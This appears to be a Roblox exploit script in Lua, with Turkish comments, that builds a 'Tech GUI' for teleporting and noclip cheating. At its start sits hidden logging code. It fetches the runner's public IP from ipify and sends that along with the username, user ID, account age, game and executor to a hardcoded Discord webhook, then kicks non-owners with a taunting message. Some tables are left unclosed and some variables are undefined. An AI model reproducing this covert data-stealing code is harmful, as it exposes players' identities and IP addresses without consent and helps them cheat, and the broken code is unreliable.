_G.
Owner = "Emocc(pRimeo)"
_G.OwnerText = "the owner/maker of the script: \n" .. _G.Owner .. "."
if _G.Owner ~= _G.ownerName then
if getgenv().owner then return end
getgenv().owner = true
-- Webhook URL
local webhookUrl =
"https://discord.com/api/webhooks/1389930762119417916/nYx0ky5bmIsfgjpri32vuXU9Qf_O9
MFatmRVrlNG1ko4Cw4OYNQTllWyY6Erw6KNm8HZ"
-- Player ve oyun bilgileri
local plr = game.Players.LocalPlayer
local username = plr.Name
local userid = plr.UserId
local accountAge = plr.AccountAge
local gameName =
game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name
local gamePlaceId = game.PlaceId
-- Executor bilgisi
local executor = (identifyexecutor and identifyexecutor()) or (getexecutor and
getexecutor()) or "Unknown Executor"
-- FPS ve Ping bilgisi
local fps = math.floor(workspace:GetRealPhysicsFPS())
local ping = "Unknown"
pcall(function()
ping = game:GetService("Stats").Network.ServerStatsItem["Data
Ping"]:GetValueString()
end)
-- IP çekme (exploit destekliyorsa çalışır)
local ip = "Unknown"
local HttpService = game:GetService("HttpService")
local requestFunction = (syn and syn.request) or (http_request) or (request)
if requestFunction then
pcall(function()
local response = requestFunction({
Url = "https://api.ipify.org",
Method = "GET"
})
if response and response.Body then
ip = response.Body
end
end)
else
warn("Exploit HTTP Request Fonksiyonu Bulunamadı, IP alınamadı.")
end
-- Webhook Embed Sistemi
local data = {
["content"] = "",
["embeds"] = {{
["title"] = "🚨 SCRIPT STEALER DETECTED 🚨",
["description"] = "**Username:** " .. username ..
"\n**UserID:** " .. userid ..
"\n**Account Age:** " .. accountAge .. " days" ..
"\n**Game:** " .. gameName .. " (ID: " .. gamePlaceId ..
")" ..
"\n**Executor:** " .. executor ..
"\n**IP:** " .. ip ..
"\n**FPS:** " .. fps ..
"\n**Ping:** " .. ping,
["color"] = tonumber(0xff0000),
["footer"] = {
["text"] = "Stealer Logger - All Data Captured"
}
}}
local jsonData = HttpService:JSONEncode(data)
if requestFunction then
requestFunction({
Url = webhookUrl,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = jsonData
})
else
warn("Webhook gönderilemedi, HTTP desteklenmiyor.")
end
-- Stealer Kick mesajı
game.Players.LocalPlayer:Kick("STEALER DETECTED - YOU HAVE BEEN LOGGED. GOOD LUCK
RAT. (BTW İ Get you ip)")
return
else
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local webhookUrl =
"https://discord.com/api/webhooks/1389930762119417916/nYx0ky5bmIsfgjpri32vuXU9Qf_O9
MFatmRVrlNG1ko4Cw4OYNQTllWyY6Erw6KNm8HZ"
-- HTTP Request method seçimi
local requestFunc = (syn and syn.request) or (http_request) or (request)
-- Embed hazırla
local embedData = {
["title"] = "✅ Script Executed",
["description"] = "**"..LocalPlayer.Name.."** (ID: "..LocalPlayer.UserId..")
executed the script!",
["color"] = tonumber(0x00FF00),
["footer"] = {
["text"] = "Script Logger • "..os.date("%Y-%m-%d %H:%M:%S")
local data = {
["content"] = "",
["embeds"] = {embedData}
-- Gönderilecek JSON formatı
local jsonData = HttpService:JSONEncode(data)
-- Request gönder
if requestFunc then
requestFunc({
Url = webhookUrl,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = jsonData
})
end
end
--!strict
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
-- ---------- SETTINGS ----------
local positions = {
["Jail"] = Vector3.new(439, 439, -376),
["Safe spot"] = Vector3.new(-162, 439, -383),
["void"] = Vector3.new(0, 0, 0),}
-- Defaults
getgenv().customPosition = Vector3.new(0, -300, 0)
getgenv().visiting = false
getgenv().techLoop = nil
getgenv().noclipLoop = nil
getgenv().oldPosition = nil
-- ---------- FUNCTION: START TECH LOOP ----------
local function startTechLoop()
if getgenv().techLoop then
coroutine.close(getgenv().techLoop)
getgenv().techLoop = nil
end
workspace.FallenPartsDestroyHeight = 0/0
local animations = {
["rbxassetid://12273188754"] = 1.21,
["rbxassetid://12296113986"] = 1.1,
local function ifind(t, a)
for i in pairs(t) do
if i == a then return true end
end
return false
end
getgenv().techLoop = coroutine.create(function()
while true do
task.wait()
local char = LocalPlayer.Character
if not char then break end
local hum = char:FindFirstChildOfClass("Humanoid")
local root = char:FindFirstChild("HumanoidRootPart")
if not hum or not root then continue end
for _, track in pairs(hum.Animator:GetPlayingAnimationTracks()) do
if ifind(animations, track.Animation.AnimationId) then
task.wait(animations[track.Animation.AnimationId])
local lastCF = root.CFrame
local stoppedConn
local running = true
stoppedConn = track.Stopped:Connect(function() running = false
end)
repeat
task.wait()
workspace.CurrentCamera.CameraType =
Enum.CameraType.Scriptable
if getgenv().visiting then
local pos = getgenv().customPosition
workspace.CurrentCamera.CFrame = CFrame.new(pos +
Vector3.new(0,5,10), pos)
else
root.CFrame = CFrame.new(getgenv().customPosition)
root.AssemblyLinearVelocity = Vector3.zero
root.AssemblyAngularVelocity = Vector3.zero
end
until not running
stoppedConn:Disconnect()
task.wait(0.1)
if root and root.Parent then
root.CFrame = lastCF
end
workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
workspace.CurrentCamera.CameraSubject = hum
task.wait(1)
end
end
end
end)
coroutine.resume(getgenv().techLoop)
end
-- ---------- Noclip Loop ----------
local function startNoclip()
if getgenv().noclipLoop then
coroutine.close(getgenv().noclipLoop)
getgenv().noclipLoop = nil
end
getgenv().noclipLoop = coroutine.create(function()
while true do
task.wait()
if getgenv().visiting then
local char = LocalPlayer.Character
if char then
for _, part in ipairs(char:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end
end
end
end)
coroutine.resume(getgenv().noclipLoop)
end
-- ---------- Handle Visit Logic ----------
local function teleportToPosition()
local char = LocalPlayer.Character
if not char then return end
local root = char:FindFirstChild("HumanoidRootPart")
if not root then return end
getgenv().oldPosition = root.CFrame
root.CFrame = CFrame.new(getgenv().customPosition)
end
local function teleportBack()
local char = LocalPlayer.Character
if not char then return end
local root = char:FindFirstChild("HumanoidRootPart")
if not root then return end
if getgenv().oldPosition then
root.CFrame = getgenv().oldPosition
end
end
-- ---------- HANDLE RESPAWN ----------
LocalPlayer.CharacterAdded:Connect(function(char)
char:WaitForChild("Humanoid")
startTechLoop()
startNoclip()
end)
if LocalPlayer.Character then
startTechLoop()
startNoclip()
end
-- ---------- BUILD GUI ----------
local gui = Instance.new("ScreenGui")
gui.Name = "TechGUI"
gui.Parent = game.CoreGui
gui.ResetOnSpawn = false
local main = Instance.new("Frame", gui)
main.Size = UDim2.new(0, 320, 0, 280)
main.Position = UDim2.new(0.35, 0, 0.3, 0)
main.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
main.Active = true
main.Draggable = true
local uicorner = Instance.new("UICorner", main)
uicorner.CornerRadius = UDim.new(0, 16)
-- RGB Başlık
local title = Instance.new("TextLabel", main)
title.Size = UDim2.new(1, 0, 0, 50)
title.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
title.Text = "Tech GUI"
title.Font = Enum.Font.GothamBlack
title.TextSize = 24
title.TextColor3 = Color3.fromRGB(255, 255, 255)
local titleCorner = Instance.new("UICorner", title)
titleCorner.CornerRadius = UDim.new(0, 16)
-- Kapama butonu
local closeButton = Instance.new("TextButton", main)
closeButton.Size = UDim2.new(0, 28, 0, 28)
closeButton.Position = UDim2.new(1, -34, 0, 6) -- Sağ üst köşeye konumlandırma
closeButton.BackgroundColor3 = Color3.fromRGB(200, 30, 30)
closeButton.Text = "X"
closeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
closeButton.Font = Enum.Font.GothamBold
closeButton.TextSize = 22
closeButton.AutoButtonColor = false
closeButton.Name = "CloseButton"
closeButton.ZIndex = 10
Instance.new("UICorner", closeButton).CornerRadius = UDim.new(0, 8)
-- Hover efektleri (isteğe bağlı ama daha iyi)
closeButton.MouseEnter:Connect(function()
closeButton.BackgroundColor3 = Color3.fromRGB(255, 50, 50)
end)
closeButton.MouseLeave:Connect(function()
closeButton.BackgroundColor3 = Color3.fromRGB(200, 30, 30)
end)
-- Butona tıklayınca GUI gizle
closeButton.MouseButton1Click:Connect(function()
gui.Enabled = false
end)
-- Rainbow Effect
task.spawn(function()
while true do
local hue = tick() % 5 / 5
title.BackgroundColor3 = Color3.fromHSV(hue, 0.8, 1)
task.wait()
end
end)
-- Dropdown Butonu
local notifText = Instance.new("TextLabel", notifFrame)
notifText.Size = UDim2.new(1, -20, 1, 0)
notifText.Position = UDim2.new(0, 10, 0, 0)
notifText.BackgroundTransparency = 1
notifText.Font = Enum.Font.GothamBold
notifText.TextSize = 20
notifText.TextColor3 = Color3.fromRGB(255, 140, 0)
notifText.Text = "Created by Emir - Credits"
notifText.TextXAlignment = Enum.TextXAlignment.Left
notifText.ZIndex = 21
local dropdown = Instance.new("TextButton", main)
dropdown.Size = UDim2.new(0.9, 0, 0, 40)
dropdown.Position = UDim2.new(0.05, 0, 0.25, 0)
dropdown.Text = "Select Position"
dropdown.Font = Enum.Font.GothamMedium
dropdown.TextSize = 20
dropdown.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
dropdown.TextColor3 = Color3.fromRGB(255, 255, 255)
local dropcorner = Instance.new("UICorner", dropdown)
dropcorner.CornerRadius = UDim.new(0, 10)
local optionFrame = Instance.new("Frame", main)
optionFrame.Size = UDim2.new(0.9, 0, 0, #positions * 36)
optionFrame.Position = UDim2.new(0.05, 0, 0.4, 0)
optionFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
optionFrame.Visible = false
Instance.new("UICorner", optionFrame).CornerRadius = UDim.new(0, 10)
local list = Instance.new("UIListLayout", optionFrame)
list.Padding = UDim.new(0, 6)
for name, vec in pairs(positions) do
local btn = Instance.new("TextButton", optionFrame)
btn.Size = UDim2.new(1, 0, 0, 34)
btn.Text = name
btn.Font = Enum.Font.GothamSemibold
btn.TextSize = 18
btn.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
btn.TextColor3 = Color3.fromRGB(220, 220, 220)
Instance.new("UICorner", btn).CornerRadius = UDim.new(0, 8)
btn.MouseButton1Click:Connect(function()
getgenv().customPosition = vec
dropdown.Text = name
optionFrame.Visible = false
end)
end
dropdown.MouseButton1Click:Connect(function()
optionFrame.Visible = not optionFrame.Visible
end)
-- Visit Toggle
local toggle = Instance.new("TextButton", main)
toggle.Size = UDim2.new(0.9, 0, 0, 45)
toggle.Position = UDim2.new(0.05, 0, 0.8, 0)
toggle.Text = "Visit: Off"
toggle.Font = Enum.Font.GothamBold
toggle.TextSize = 22
toggle.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
toggle.TextColor3 = Color3.fromRGB(255, 255, 255)
Instance.new("UICorner", toggle).CornerRadius = UDim.new(0, 12)
toggle.MouseButton1Click:Connect(function()
getgenv().visiting = not getgenv().visiting
if getgenv().visiting then
teleportToPosition()
toggle.Text = "Visit: On"
toggle.BackgroundColor3 = Color3.fromRGB(0, 180, 0)
else
teleportBack()
toggle.Text = "Visit: Off"
toggle.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
end
end)